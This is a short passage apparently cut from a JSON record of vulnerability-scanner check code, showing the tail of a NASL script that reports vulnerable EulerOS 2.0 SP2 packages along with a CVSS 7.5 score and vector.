rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}
